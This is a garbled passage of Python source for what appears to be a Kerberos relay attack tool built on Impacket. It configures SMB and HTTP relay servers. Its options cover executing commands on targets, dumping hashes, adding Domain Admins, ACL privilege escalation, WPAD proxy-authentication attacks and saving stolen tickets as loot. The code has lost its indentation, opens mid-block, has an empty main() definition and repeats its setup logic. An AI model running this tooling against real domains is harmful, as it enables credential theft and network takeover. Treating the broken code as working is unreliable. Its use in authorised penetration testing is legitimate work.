else:
logging.info("Running in reflection mode")
targetSystem = None
mode = 'REFLECTION'
if not options.no_smb_server:
RELAY_SERVERS.append(SMBRelayServer)
if not options.no_http_server:
RELAY_SERVERS.append(HTTPRelayServer)
if options.r is not None:
logging.info("Running HTTP server in redirect mode")
if targetSystem is not None and options.w:
watchthread = TargetsFileWatcher(targetSystem)
watchthread.start()
threads = set()
socksServer = None
if options.socks is True:
# Start a SOCKS proxy in the background
socksServer = SOCKS()
socksServer.daemon_threads = True
socks_thread = Thread(target=socksServer.serve_forever)
socks_thread.daemon = True
socks_thread.start()
threads.add(socks_thread)
c = start_servers(options, threads)
def main():
def start_servers(options, threads):
for server in RELAY_SERVERS:
#Set up config
c = KrbRelayxConfig()
c.setProtocolClients(PROTOCOL_CLIENTS)
c.setTargets(targetSystem)
c.setExeFile(options.e)
c.setCommand(options.c)
c.setEnumLocalAdmins(options.enum_local_admins)
c.setEncoding(codec)
c.setMode(mode)
c.setAttacks(PROTOCOL_ATTACKS)
c.setLootdir(options.lootdir)
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl,
options.no_validate_privs, options.escalate_user,
options.add_computer, options.delegate_access)
c.setIPv6(options.ipv6)
c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
c.setSMB2Support(not options.no_smb2support)
c.setInterfaceIp(options.interface_ip)
if options.krbhexpass and not options.krbpass:
c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip,
binascii.unhexlify(options.krbhexpass),
options.krbsalt, True)
else:
c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip,
options.krbpass, options.krbsalt, False)
c.setKrbOptions(options.format)
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
if server is HTTPKrbRelayServer and options.r is not None:
c.setMode('REDIRECT')
c.setRedirectHost(options.r)
s = server(c)
s.start()
threads.add(s)
return c
# Init the example's logger theme
logger.init()
#Parse arguments
parser = argparse.ArgumentParser(
add_help=False,
description=
"Kerberos \"relay\" tool. Abuses accounts with unconstrained "
"delegation to pwn things.")
parser._optionals.title = "Main options"
#Main arguments
parser.add_argument("-h",
"--help",
action="help",
help='show this help message and exit')
parser.add_argument('-debug',
action='store_true',
help='Turn DEBUG output ON')
parser.add_argument(
'-t',
"--target",
action='store',
metavar='TARGET',
help='Target to attack, '
'since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If unspecified, will store tickets for later use.'
)
parser.add_argument('-tf',
action='store',
metavar='TARGETSFILE',
help='File that contains targets by hostname or '
'full URL, one per line')
parser.add_argument(
'-w',
action='store_true',
help='Watch the target file for changes and update target list '
'automatically (only valid with -tf)')
# Interface address specification
parser.add_argument('-ip',
'--interface-ip',
action='store',
metavar='INTERFACE_IP',
help='IP address of interface to '
'bind SMB and HTTP servers',
default='')
parser.add_argument(
'-r',
action='store',
metavar='SMBSERVER',
help='Redirect HTTP requests to a file:// path on SMBSERVER')
parser.add_argument(
'-l',
'--lootdir',
action='store',
type=str,
required=False,
metavar='LOOTDIR',
default='.',
help='Loot '
'directory in which gathered loot (TGTs or dumps) will be stored (default: current directory).'
)
parser.add_argument(
'-f',
'--format',
default='ccache',
choices=['ccache', 'kirbi'],
action='store',
help='Format to store tickets in. Valid: ccache (Impacket) or kirbi'
' (Mimikatz format) default: ccache')
parser.add_argument(
'-codec',
action='store',
help='Sets encoding used (codec) from the target\'s output (default '
'"%s"). If errors are detected, run chcp.com at the target, '
'map the result with '
'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py '
'again with -codec and the corresponding codec ' %
sys.getdefaultencoding())
parser.add_argument('-no-smb2support',
action="store_false",
default=False,
help='Disable SMB2 Support')
parser.add_argument(
'-wh',
'--wpad-host',
action='store',
help='Enable serving a WPAD file for Proxy Authentication attack, '
'setting the proxy host to the one supplied.')
parser.add_argument(
'-wa',
'--wpad-auth-num',
action='store',
help=
'Prompt for authentication N times for clients without MS16-077 installed '
'before serving a WPAD file.')
parser.add_argument('-6',
'--ipv6',
action='store_true',
help='Listen on both IPv6 and IPv4')
# Authentication arguments
group = parser.add_argument_group(
'Kerberos Keys (of your account with unconstrained delegation)')
group.add_argument('-p',
'--krbpass',
action="store",
metavar="PASSWORD",
help='Account password')
group.add_argument('-hp',
'--krbhexpass',
action="store",
metavar="HEXPASSWORD",
help='Hex-encoded password')
group.add_argument(
'-s',
'--krbsalt',
action="store",
metavar="USERNAME",
help='Case sensitive (!) salt. Used to calculate Kerberos keys.'
'Only required if specifying password instead of keys.')
group.add_argument('-hashes',
action="store",
metavar="LMHASH:NTHASH",
help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-aesKey',
action="store",
metavar="hex key",
help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument(
'-dc-ip',
action='store',
metavar="ip address",
help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter'
)
#SMB arguments
smboptions = parser.add_argument_group("SMB attack options")
smboptions.add_argument(
'-e',
action='store',
required=False,
metavar='FILE',
help='File to execute on the target system. '
'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)'
)
smboptions.add_argument(
'-c',
action='store',
type=str,
required=False,
metavar='COMMAND',
help='Command to execute on '
'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same '
'directory).')
smboptions.add_argument(
'--enum-local-admins',
action='store_true',
required=False,
help=
'If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)'
)
#LDAP options
ldapoptions = parser.add_argument_group("LDAP attack options")
ldapoptions.add_argument('--no-dump',
action='store_false',
required=False,
help='Do not attempt to dump LDAP information')
ldapoptions.add_argument('--no-da',
action='store_false',
required=False,
help='Do not attempt to add a Domain Admin')
ldapoptions.add_argument('--no-acl',
action='store_false',
required=False,
help='Disable ACL attacks')
ldapoptions.add_argument(
'--no-validate-privs',
action='store_false',
required=False,
help=
'Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks'
)
ldapoptions.add_argument(
'--escalate-user',
action='store',
required=False,
help='Escalate privileges of this user instead of creating a new one')
ldapoptions.add_argument('--add-computer',
action='store_true',
required=False,
help='Attempt to add a new computer account')
ldapoptions.add_argument(
'--delegate-access',
action='store_true',
required=False,
help=
'Delegate access on relayed computer account to the specified account')
try:
options = parser.parse_args()
except Exception as e:
logging.error(str(e))
sys.exit(1)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
logging.getLogger('impacket.smbserver').setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
# Let's register the protocol clients we have
# ToDo: Do this better somehow
from lib.clients import PROTOCOL_CLIENTS
if options.codec is not None:
codec = options.codec
else:
codec = sys.getdefaultencoding()
if options.target is not None:
logging.info("Running in attack mode to single host")
mode = 'ATTACK'
targetSystem = TargetsProcessor(singleTarget=options.target,
protocolClients=PROTOCOL_CLIENTS)
else:
if options.tf is not None:
#Targetfile specified
logging.info("Running in attack mode to hosts in targetfile")
targetSystem = TargetsProcessor(targetListFile=options.tf,
protocolClients=PROTOCOL_CLIENTS)
mode = 'ATTACK'
else:
logging.info(
"Running in export mode (all tickets will be saved to disk)")
targetSystem = None
mode = 'EXPORT'
if options.r is not None:
logging.info("Running HTTP server in redirect mode")
if targetSystem is not None and options.w:
watchthread = TargetsFileWatcher(targetSystem)
watchthread.start()
threads = set()
c = start_servers(options, threads)
print("")
logging.info("Servers started, waiting for connections")
try:
sys.stdin.read()
except KeyboardInterrupt:
pass
else:
pass
for s in threads:
del s
sys.exit(0)